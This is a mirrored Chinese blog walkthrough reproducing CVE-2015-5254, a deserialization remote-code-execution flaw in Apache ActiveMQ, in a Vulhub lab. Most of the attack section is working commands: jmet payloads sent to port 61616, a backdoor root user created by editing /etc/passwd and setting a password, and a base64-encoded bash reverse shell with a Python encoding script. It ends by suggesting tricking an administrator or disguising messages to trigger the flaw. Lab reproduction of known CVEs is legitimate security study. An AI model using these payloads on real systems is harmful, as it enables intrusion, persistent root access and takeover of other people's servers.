4

CVE-2015-5254漏洞复现 - yaolingyu1

 1 year ago
source link: https://www.cnblogs.com/yaolingyu/p/17351202.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CVE-2015-5254漏洞复现

1.漏洞介绍。

Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java 消息服务(JMS)ObjectMessage 对象利用该漏洞执行任意代码。

2.环境介绍。

复现环境采用kali搭建Vulhub。

靶机:172.18.0.1:8161

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。

3.漏洞利用。

3.1漏洞利用过程简述。

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞

3.2具体过程。

(1)访问web界面并进行登录。

账号:admin
密码:admin
2816557-20230424200048573-1103035766.png

 (2)使用jmet进行漏洞利用。

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
//下载jar文件
mkdir external
//创建external文件夹

执行命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.18.0.1 61616
//创建/tmp/success,同理可进行其他命令的操作

我们返回管理界面,发现添加了一个名为事件的队列。

2816557-20230424212703265-971234840.png
2816557-20230424213134546-1058521648.png

 此时已经触发命令执行,我们进入dockor查看

docker ps
2816557-20230424213511234-565793007.png
docker exec -it b189872443f5  /bin/bash

2816557-20230424214201083-1904690159.png

 可以发现tmp目录已创建,进入发现sucess,漏洞利用成功

2816557-20230424214037876-1296741799.png

创建一个用户

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 Tom" -Yp ROME  172.18.0.1  61616

触发条件和之前相同,在管理界面去点击队列

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/Tom:x:0/g" /etc/passwd" -Yp ROME   172.18.0.1  61616
//修改权限
 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "Tom:sd123456" | chpasswd" -Yp ROME   172.18.0.1   61616
//添加密码

至此,一个权限为root,密码为123456的用户被我们创建成功,之后可以直接进行ssh远程连接

2816557-20230424215648275-1679832986.png

或者将命令换为反弹shell再利用:

bash -i >& /dev/tcp/172.18.0.1/777 0>&1

使用base64编码payload绕过Java机制

YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx

附上base64编码脚本

import base64

# Sample string to encode
string = "bash -i >& /dev/tcp/172.18.0.1/777 0>&1"

# Encoding the string
encoded_string = base64.b64encode(string.encode('utf-8'))

# Printing the encoded string
print(encoded_string.decode('utf-8'))

构建pyload

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 172.18.0.1 61616

使用nc监听端口

2816557-20230424222312930-1637432037.png

 反弹shell成功

 值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK